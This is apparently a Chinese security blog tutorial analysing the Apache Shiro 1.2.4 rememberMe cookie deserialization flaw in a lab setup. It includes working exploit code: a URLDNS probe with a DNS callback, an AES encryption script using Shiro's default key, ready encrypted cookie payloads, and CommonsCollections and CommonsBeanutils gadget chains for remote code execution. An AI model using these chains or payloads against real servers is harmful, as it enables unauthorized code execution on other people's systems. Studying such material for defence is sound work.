|
1 环境搭建
版本:shiro 1.2.4
Shiro编译坑太多,所以我们直接用Vulhub启动漏洞环境进行远程调试。关于远程调试的方法,我们在之前的漏洞分析文章中介绍过,这里不再赘述。
2 漏洞复现与分析
服务启动后,访问http://your-ip:8080,并使用admin:vulhub进行登录。登录后,服务端会返回一个cookie,其中的rememberMe就是漏洞利用点。

之后的每一次请求,客户端都会带上这个rememberMe的cookie:

2.1 服务端cookie处理流程
一般来说的话,cookie都很短,而这个很长的cookie实际上保存了许多认证信息,并且可以反序列化来读取。
接下来就分析代码中是如何处理客户端所发送的Cookie的。
getRememberedSerializedIdentity在获取cookie后,首先对其进行base64解码的操作:

接下来对getRememberedSerializedIdentity find usages,getRememberedPrincipals对其进行了调用,并且在获取到base64解码的内容后,将其传入了convertBytesToPrincipals中

继续跟入convertBytesToPrincipals,发现该返回对解码后内容做了两步操作:解密和反序列化

反序列化:其反序列化方法最终调用的是原生反序列化,这样如果所部署的项目有依赖存在漏洞的话(如CC),就可以直接打漏洞了

解密:我们发现解密函数传入了两个参数,一个是加密的内容,另一个是密钥,是对称加密的方式:

一路跟踪,找到为密钥赋值的地方,发现其是一个常量,加密算法是AES:

2.2 漏洞验证
分析到这里,我们就能得到漏洞的利用方式了。我们首先构造一个恶意的序列化对象,然后用代码中固定的key对其进行AES加密,然后对其进行base64编码,将编码后的内容作为cookie发送即可。服务端收到序列化的对象,对其进行base64解码、解密后再反序列化,从而触发漏洞利用。
接下来我们先思考构造什么反序列化对象,也就是漏洞打什么。
通过Dependency Analyser分析依赖可以看到,虽然pom文件中有CC,但其是test 的,在运行时实际只会加入compile和runtime的包。所以实际的shiro漏洞本身是不能打CC的。在实际场景中,要根据与shiro一起部署的其它库的漏洞来决定如何进行漏洞利用。

这个版本中shiro能利用的是commons-beanutils,但这里我们用之前入门的JDK原生的漏洞URLDNS来做漏洞测试。
我们直接将之前的URLDNS代码序列化生成一个对象
package URLDNS;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS_Solution1 {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL(&#34;http://xxxxx.ceye.io&#34;);
Field hashCodeField = Class.forName(&#34;java.net.URL&#34;).getDeclaredField(&#34;hashCode&#34;);
hashCodeField.setAccessible(true);
hashCodeField.set(url, 0xdeafbeaf);
hashMap.put(url, 0);
hashCodeField.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&#34;object.bin&#34;));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(&#34;object.bin&#34;));
ois.readObject();
}
}然后对其进行用代码中的key对其进行AES加密(IV值随便取),并对加密结果进行base64编码:
import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file_data(file_name):
with open(file_name, &#34;rb&#34;) as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s : s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
encryptor = AES.new(base64.b64decode(key), mode, iv)
cipher_text = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return cipher_text
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s : s[:-s[-1]]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
if __name__ == &#39;__main__&#39;:
file_name = &#34;object.bin&#34;
key = &#34;kPH+bIxk5D2deZiIxcaaaA==&#34;
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
data = get_file_data(file_name)
enc_data = aes_enc(data)
print(enc_data)加密、编码后的payload如下:
aou3PXmqTcudXykKrwEq01gfE1vYoHp/Hs6ao8kokqBsLhJqYuCFC3OnQdi9UxCtrU3s+zeXTvZ6tgEEha5GPwztX0LEqRy3EqPJM8mzG6R8k3COuu/3Pf8GxJPexMk2hHc6Drci6QWcy5KAdRhPXnGeEZ/U+1ZFUHemgDUqP1mtEilk4i7i2/PHvskJHP57DzSKz70XBOznwOm5NRSVoEcfu8D7shdGzrnQxUshrkdujG1lLYPIxo/kBJFFjahZc+Rn0aotO44KIVnEgmrUtW/UgKEnn9QslZqMS6copEKW1soFhbe6izgTJIacy51984gW2spIkTnBxiFcw8bWp0urySuh0m78TVoFg3g9Jm2WvjD5r7/58p12Gsp6dz7Pla30cnXl/SSM2jS8StYn9CSAsV4ZM4RlkCEZYKEEDZhaMqqkQSVDDyKNbOjhtlKOg9xtin5FkqC9Z1RXeITogA==用这段payload去替换原先数据包中的RememberMe字段,注意要把JSESSIONID删掉,响应包中穿线rememberMe=deleteMe字段,说明漏洞利用成功

查看ceye,也受到了DNS请求:

shiro反序列化漏洞的特点在于,传递的payload是一个加密后的反序列化数据,它不像纯反序列化base64之后会以开头,因此绕过了某些以此为特征的检测机制。
之前学习的CC是危险的序列化对象,对其进行反序列化可以执行任意代码,而shiro漏洞的作用就是可以反序列化任意对象,CC漏洞是炸弹,shiro漏洞是引信,二者组合起来可以达到RCE的目的。
2.3 RCE - commons collections
因为后面要对导入的包做改动,所以还是要以本地编译的方式搭建漏洞环境,这里就直接用P神写的demo吧,配个Tomcat就直接能用了。
之前仅仅是对漏洞进行了验证,而现在我们要做到任意代码执行,可以看到p神的demo中也加入了cc3版本的依赖。

很多人RCE都是加入cc4版本的依赖,这是因为ysoserial官方的cc攻击链只能打cc2,而cc2用得到的是cc4版本。这里我们探讨一下如何打cc3版本。
如果我们直接用cc6去打的话,是会报错的,详细的原因我们不做深入探讨,这里只给出大致的结论:
shiro自定义了类加载器,其不能加载数组类 因为cc6中的transformers 是一个数组类对象,所以我们的目标是构造一个不使用数组的cc攻击链。
回顾之前分析过的cc调用链:
https://www.processon.com/view/link/63270c0007912955b2f3aaae
可以看出,如果要使用Runtime.getRuntime().exec(),那么就必定要使用ChainedTransformer,进而必定使用Transformer数组。所以想要避开数组,只能使用动态类加载机制来RCE。这里我们可以将cc链做组合,使用cc6+cc3+cc2来构造攻击链:

组合后攻击链的代码如下:
public class ShiroRCE {
public static void main(String[] args) throws Exception {
// CC3:任意类加载触发RCE
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField(&#34;_name&#34;);
nameField.setAccessible(true);
nameField.set(templates, &#34;liz&#34;);
Field byteCodesField = tc.getDeclaredField(&#34;_bytecodes&#34;);
byteCodesField.setAccessible(true);
String maliciousClassPath = &#34;C:\\Document\\Projects\\ExploitShiro\\target\\classes\\org\\example\\Malicious.class&#34;;
byte[] code = Files.readAllBytes(Paths.get(maliciousClassPath));
byte[][] codes = {code};
byteCodesField.set(templates, codes);
// cc2:使用InvokerTransformer调用TemplatesImpl.newTransformer()
InvokerTransformer invokerTransformer = new InvokerTransformer(&#34;newTransformer&#34;, null, null);
// cc6
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put(tiedMapEntry, &#34;value&#34;);
// 反射调用putVal,避免触发hashCode
Class cls = hashMap.getClass();
Method[] declaredMethods = cls.getDeclaredMethods();
for (Method method : declaredMethods) {
if (method.getName() == &#34;putVal&#34;) {
method.setAccessible(true);
method.invoke(hashMap, 0xdeadbeaf, tiedMapEntry, &#34;value&#34;, false, false);
}
}
serialize(hashMap);
// deserialize();
}用python脚本对序列化对象加密后的内容如下:
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将其填入rememberMe字段,发送可成功弹出计算器:

2.4 RCE - commons beanutils
前面说过,shiro本身的环境是不带cc依赖的,我们只是为了方便验证漏洞加入了cc以来,这一小节我们就利用shiro自带的commons beanutils依赖来RCE

我们知道,Java中的Bean就是一个封装了一些私有的属性,并通过getter和setter来访问和修改这些属性的类。而common beanutils是对bean的增强,它使我们可以不用特定的方法名,而是使用类似参数或配置文件的方式来调用特定的getter和setter,示例如下:
public class ShiroRceCB {
public static void main(String[] args) throws Exception {
Person person = new Person(&#34;Bob&#34;, 20);
System.out.println(PropertyUtils.getProperty(person,&#34;name&#34;));
}
}这里PropertyUtils.getProperty通过属性名name调用了person对象的getName方法。
回忆我们在分析cc3时,链中有一个TemplatesImpl.getTransletInstance(),该方法以get开头,是一个getter,理论也可以通过PropertyUtils.getProperty来调用之。但实际上,beanutils要求在调用时必须有相应的属性,也就是说想通过beanutils调用getTransletInstance,那么TemplatesImpl中必须有个属性叫transletInstance,但分析发现没有,所以我们要换个属性来调用。
TemplatesImpl.getOutputProperties()有对应的属性(_outputProperties,但是调用时的参数名却不能加下划线,不懂为啥,可能是beanutils内部做了处理),而且getOutputProperties()内部调用了newTransformer(),能够触发cc3攻击链:

于是,我们用TemplatesImpl.getOutputProperties()来验证一下,可以成功弹出计算器:
public class ShiroRceCB {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField(&#34;_name&#34;);
nameField.setAccessible(true);
nameField.set(templates, &#34;liz&#34;);
Field byteCodesField = tc.getDeclaredField(&#34;_bytecodes&#34;);
byteCodesField.setAccessible(true);
String path = &#34;C:\\Document\\Projects\\ExploitShiro\\target\\classes\\org\\example\\Malicious.class&#34;;
byte[] code = Files.readAllBytes(Paths.get(path));
byte[][] codes = {code};
byteCodesField.set(templates, codes);
// 为验证漏洞,为transient的tfactory赋值
Field tfactoryField = tc.getDeclaredField(&#34;_tfactory&#34;);
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// 调用templates.getTransletInstance()
PropertyUtils.getProperty(templates, &#34;outputProperties&#34;);
}
} 所以,如果PropertyUtils.getProperty()的属性值如果能被我们任意控制的话,那我们就能够任意执行代码了 public class ShiroRceCB {
public static void main(String[] args) throws Exception {
// cc3
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField(&#34;_name&#34;);
nameField.setAccessible(true);
nameField.set(templates, &#34;liz&#34;);
Field byteCodesField = tc.getDeclaredField(&#34;_bytecodes&#34;);
byteCodesField.setAccessible(true);
String path = &#34;C:\\Document\\Projects\\ExploitShiro\\target\\classes\\org\\example\\Malicious.class&#34;;
byte[] code = Files.readAllBytes(Paths.get(path));
byte[][] codes = {code};
byteCodesField.set(templates, codes);
// commons beanutils
BeanComparator beanComparator = new BeanComparator(&#34;outputProperties&#34;);
// cc2
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class cls = priorityQueue.getClass();
Field comparatorField = cls.getDeclaredField(&#34;comparator&#34;);
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue, beanComparator);
serialize(priorityQueue);
// deserialize();
}注意到,这里我们用到TransformingComparator和ConstantTransformer来走通序列化的流程,虽然这两个类是CC的类,在目标系统中没有,但是我们最后在序列化之前,又反射修改回了beanComparator。所以,我们在构造序列化对象时不必拘泥太多,只需要确保发送过去的序列化对象中包含的类,都被目标系统所包含即可。
到这里,如果我们把序列化对象加密后发送的话,实际上还是失败的。原因在于我们在实例化BeanComparator时,会默认传入一个ComparableComparator.getInstance(),而ComparableComparator又是cc库中的类(cc和cb还真是好兄弟呢),所以会报错,导致漏洞利用失败。


但是BeanComparator还有一个构造函数,允许我们传入自定义的comparator,这个comparator类满足两点:1)public的;2)可序列化的,这种类可以直接导出Comparator的所有实现类,用脚本对其逐个判断即可。

我们找到这样一个类:AttrCompare(),用其作为实例化BeanComparator的参数即可:
BeanComparator beanComparator = new BeanComparator(&#34;outputProperties&#34;, new AttrCompare());序列化后加密并发送payload,成功弹出计算器:
 |
|